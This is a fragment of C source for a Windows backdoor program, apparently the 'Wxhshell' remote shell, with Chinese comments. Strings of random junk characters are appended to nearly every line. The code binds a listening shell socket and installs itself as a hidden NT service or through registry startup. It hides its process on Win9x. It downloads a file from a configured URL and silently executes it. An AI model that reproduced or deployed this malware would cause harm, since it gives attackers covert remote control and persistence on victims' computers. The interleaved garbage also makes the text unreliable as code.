ULONG InheritedFromUniqueProcessId; !</U"P:L
} PROCESS_BASIC_INFORMATION; 2D(sA
>/Gw)K}#E
PROCNTQSIP NtQueryInformationProcess; 1`1jSx5}.
a ~YrQI-@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /!J xiGn
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sSf;j,7V
9OFH6-;6`\
HANDLE hProcess; @~Ys*]4UE
PROCESS_BASIC_INFORMATION pbi; a~ RY 8s
^q_wtuQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EKO~\d
if(NULL == hInst ) return 0; GSs?!BIC
V?Q45t Ae
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4X",:B}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ])G|U A.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H |
C3{9
;HBKOe_3
if (!NtQueryInformationProcess) return 0; a x)J!I18
p TaC$Ne
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y4! :l=E^
if(!hProcess) return 0; M,W-,l
]
xQ';$&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MQDLC7Y.p5
7O8 @T-f+2
CloseHandle(hProcess); $}IG+,L
2
FoLJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^62z\Y
if(hProcess==NULL) return 0; E7i/gY
l-cBN^^
HMODULE hMod; pHx$
char procName[255]; H
"Io!{aKU
unsigned long cbNeeded; \crh`~?>
j\wZjc-j
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p0y|pD
$tF\7.e@
CloseHandle(hProcess); ~3-"1E>Rgy
t^Lb}A#$4
if(strstr(procName,"services")) return 1; // 以服务启动 HY eCq9S
}
xA@3RT
return 0; // 注册表启动 w#hg_RK(Jr
} k]C k%[d
KgbBa2@+
// 主模块 RT3(utwO
int StartWxhshell(LPSTR lpCmdLine) R:(i}g<3
{ 7x77s
SOCKET wsl; `\|@w@f|;
BOOL val=TRUE; Nmd{C(^o
int port=0; St(jrZb
struct sockaddr_in door; $&qLrKJ
* ]
if(wscfg.ws_autoins) Install(); j'Jb+@W?
J+Fev.9>
port=atoi(lpCmdLine); kGs\"zZM
N@Oe[X8
if(port<=0) port=wscfg.ws_port; <7>1Z
82)
8ki3>"!A
WSADATA data; q.<)0nk
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /P-#y@I
9D &vxKE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *59|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); */JYP +
door.sin_family = AF_INET; z .\r7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]b]J)dDI
door.sin_port = htons(port); glc<(V
?{}P#sn
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =-~))!(
closesocket(wsl); {}8C/4iP
return 1; 6]Q#4
} 94et ]u%7
YjnQ@IfIH
if(listen(wsl,2) == INVALID_SOCKET) { - f ^!R
closesocket(wsl); b{,v?7^4
return 1; TQKcPVlE
} wdf;LM
Wxhshell(wsl); 0>Td4qr+u
WSACleanup(); N
P+vi@Ud
{$Uj&/IC
return 0; bcvm]aPu
Itv cN
} yH]Q;X'
'_V9FWDZ
// 以NT服务方式启动 lyFlJm i,r
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iLJ@oM;2
{ F!g1.49""
DWORD status = 0; d
(x'\4(K
DWORD specificError = 0xfffffff; 3uxf n=E
%.u*nM7sos
serviceStatus.dwServiceType = SERVICE_WIN32; h~]e~u V
serviceStatus.dwCurrentState = SERVICE_START_PENDING; S[q:b
.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9d^m 7}2
serviceStatus.dwWin32ExitCode = 0; J=78p#XUg
serviceStatus.dwServiceSpecificExitCode = 0; )+'=Zvgej=
serviceStatus.dwCheckPoint = 0; [<{r~YFjWW
serviceStatus.dwWaitHint = 0; rm ;U'&{
N%>h>HJ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t_xK?``
if (hServiceStatusHandle==0) return; jIr\.i
n*ShYsc
status = GetLastError(); 3) d}3w {
if (status!=NO_ERROR) N?-ZvE\C
{ 1kpw*$P0
serviceStatus.dwCurrentState = SERVICE_STOPPED; y\uBVa<B
serviceStatus.dwCheckPoint = 0; ,SNrcwv
serviceStatus.dwWaitHint = 0; Ipq0
1
+
serviceStatus.dwWin32ExitCode = status; )`{m |\b
serviceStatus.dwServiceSpecificExitCode = specificError; xM!9$v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !4D?X\~"%
return; _b/zBFa%
} Jn d_cJ ]a
.tGz, z}
serviceStatus.dwCurrentState = SERVICE_RUNNING; vV$t`PEY
serviceStatus.dwCheckPoint = 0; LQr!0p.i"
serviceStatus.dwWaitHint = 0; RCYv 2=m>Q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6nE/8m
} ?D2a"a$^
<XG]aYBR
// 处理NT服务事件,比如:启动、停止 9 Xl#$d5
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6{^\7`
{ +D4m@O
switch(fdwControl) CmbgEGIh[a
{ Xe_djy'8
case SERVICE_CONTROL_STOP: QwpX3
k6
serviceStatus.dwWin32ExitCode = 0; 'h0>]A 2|X
serviceStatus.dwCurrentState = SERVICE_STOPPED; mRC3w(W
serviceStatus.dwCheckPoint = 0; -6I*k |%8T
serviceStatus.dwWaitHint = 0; EVZ1Z
{ `pCy:J?d>l
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LTzdg >\oJ
} @v@F%JCZ
return; _eq$C=3Ta
case SERVICE_CONTROL_PAUSE: #BcUE?K*N
serviceStatus.dwCurrentState = SERVICE_PAUSED; 41d+z>a]
break; <z2.A/L
case SERVICE_CONTROL_CONTINUE: 6'N_bNW
serviceStatus.dwCurrentState = SERVICE_RUNNING; QtG6v<A
break; ps:`rVQ7
case SERVICE_CONTROL_INTERROGATE: 13Z,;YW
break; HyWR&0J
}; '" %0UflJS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f 42F@M(:
} ~7KH/%Z-
aXq ig&:
// 标准应用程序主函数 d9U)O6=
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k ZF<~U
{ CUG"2K9
/bo=,%wJ[
// 获取操作系统版本 b\H&E{Gn|x
OsIsNt=GetOsVer(); (M1YOK) I
GetModuleFileName(NULL,ExeFile,MAX_PATH); M_UmnqN1C
bri8o"
// 从命令行安装 +aEm]=3
if(strpbrk(lpCmdLine,"iI")) Install(); $
-<(geI
^yc8is'`
// 下载执行文件 )4qspy3
if(wscfg.ws_downexe) { S .x>w/
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %JiF269
WinExec(wscfg.ws_filenam,SW_HIDE); CP;<B1
} WHv6E!^\_
@{fwM;me]P
if(!OsIsNt) { oz.z>+Q
// 如果时win9x,隐藏进程并且设置为注册表启动 bcy
HideProc(); v'?o#_La+
StartWxhshell(lpCmdLine); E:/!]sm!
} 9'sZi}rT
else gI2'[OU
if(StartFromService()) _<mY|
// 以服务方式启动 ?t6wozib2
StartServiceCtrlDispatcher(DispatchTable); :;hg :Q:
else [sk n9$
// 普通方式启动 ({C[RsY=6
StartWxhshell(lpCmdLine); p.8
[kN_b<Pc,
return 0; 8'zl\:@N
} O/Hj-u6&A
Ad-5Znc5
ulW>8bW&
Hc>yZ:c;
=========================================== @|t]9
w0j'>4
A g+B*
UcB&